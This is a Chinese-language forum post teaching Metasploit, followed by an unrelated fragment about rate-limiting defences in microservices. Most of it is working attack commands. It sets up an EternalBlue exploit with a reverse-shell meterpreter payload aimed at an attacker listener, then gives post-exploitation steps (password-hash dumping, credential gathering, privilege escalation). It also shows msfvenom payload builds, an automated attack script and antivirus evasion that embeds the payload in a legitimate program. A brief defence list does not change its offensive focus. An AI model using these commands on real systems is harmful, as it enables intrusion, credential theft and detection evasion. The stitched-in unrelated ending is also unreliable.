一、Metasploit 简介
Metasploit 是一个开源的渗透测试框架,提供漏洞利用、Payload 生成、后渗透工具等功能,广泛应用于安全研究和渗透测试。其核心组件包括:
- msfconsole:主命令行交互界面。
- 模块:分为 exploits、payloads、auxiliary、post 等类型。
- 数据库支持:存储扫描结果和攻击数据。
二、安装与配置
1. 安装 Metasploit
打开kali Linux终端,输入msfconsole就能进入MSF操作页面
- 其他系统的安装方式:
- # Debian/Ubuntu
- curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
- chmod +x msfinstall
- ./msfinstall
- # macOS (通过 Homebrew)
- brew install metasploit
复制代码
2. 初始化数据库- msfdb init # 初始化数据库
- msfconsole # 启动控制台
- db_status # 检查数据库连接
复制代码
三、基本命令与模块
1. 常用命令
| 命令 | 说明 |
|---|
| search [keyword] | 搜索模块(如 search eternalblue) | | use [module] | 选择模块(如 use exploit/windows/smb/ms17_010_eternalblue) | | show options | 查看模块所需参数 | | set [PARAM] [VALUE] | 设置参数(如 set RHOSTS 192.168.1.100) | | run 或 exploit | 执行模块 | | sessions -l | 列出已建立的会话 | | sessions -i [ID] | 进入指定会话 |
2. 模块类型
| 模块类型 | 说明 | 示例路径 |
|---|
| Exploit | 漏洞利用模块 | exploit/windows/smb/ms17_010_eternalblue | | Payload | 攻击成功后执行的代码(如反向 Shell) | payload/windows/meterpreter/reverse_tcp | | Auxiliary | 辅助模块(扫描、嗅探等) | auxiliary/scanner/smb/smb_version | | Post | 后渗透模块(提权、信息收集等) | post/windows/gather/credentials | | Encoder | 编码 Payload 以绕过检测 | encoder/x86/shikata_ga_nai |
四、实战示例:攻击 Windows SMB 漏洞(永恒之蓝)
步骤 1:选择 Exploit 模块- use exploit/windows/smb/ms17_010_eternalblue
复制代码步骤 2:配置参数- set RHOSTS 192.168.100.130 # 目标 IP
- set PAYLOAD windows/x64/meterpreter/reverse_tcp # 选择 Payload
- set LHOST 192.168.1.10 # 攻击者 IP(监听地址)
- set LPORT 4444 # 监听端口
复制代码步骤 3:执行攻击成功后会进入 meterpreter 会话。
五、Meterpreter 后渗透操作
常用命令
| 命令 | 说明 |
|---|
| sysinfo | 查看目标系统信息 | | getuid | 查看当前权限 | | hashdump | 提取用户哈希 | | screenshot | 截取屏幕截图 | | upload [本地文件] [远程路径] | 上传文件到目标 | | download [远程文件] [本地路径] | 下载文件到本地 | | shell | 进入系统命令行 | | run post/windows/gather/enum_logged_on_users | 枚举登录用户 |
提权操作- # 尝试提权到 SYSTEM
- use post/windows/escalate/getsystem
- run
复制代码六、高级技巧
1. 生成独立 Payload- msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.100.130 LPORT=4444 -f exe -o payload.exe
复制代码
参数说明:-p 指定 Payload,-f 指定输出格式,-o 输出文件。
2. 自动化攻击
使用 resource 脚本批量执行命令: - # 创建脚本文件 attack.rc
- use exploit/windows/smb/ms17_010_eternalblue
- set RHOSTS 192.168.100.130
- set PAYLOAD windows/x64/meterpreter/reverse_tcp
- set LHOST 192.168.1.10
- exploit -z
- msfconsole -r attack.rc # 执行脚本
复制代码3. 绕过杀毒软件(AV Evasion)
使用编码器和自定义模板: - msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.100.130 LPORT=4444 -e x86/shikata_ga_nai -i 5 -x legit_app.exe -f exe -o malicious.exe
复制代码七、防御措施
- 及时更新系统补丁:修复已知漏洞。
- 禁用不必要的服务:如 SMBv1。
- 部署防火墙/IDS:监控异常流量。
- 最小化权限原则:限制用户权限。
|
事后复盘,传统的‘限流+封IP’组合拳在面对这种 ‘拟态正常业务’ 的攻击时,显得非常被动。规则设严了误伤真实用户,设松了又防不住。这促使我们重新系统性地审视了整个微服务栈的防护体系。
不知各位同仁是否遇到过类似场景?大家首要的加固点和踩过最大的坑分别是什么?”
使用道具 举报
使用道具 举报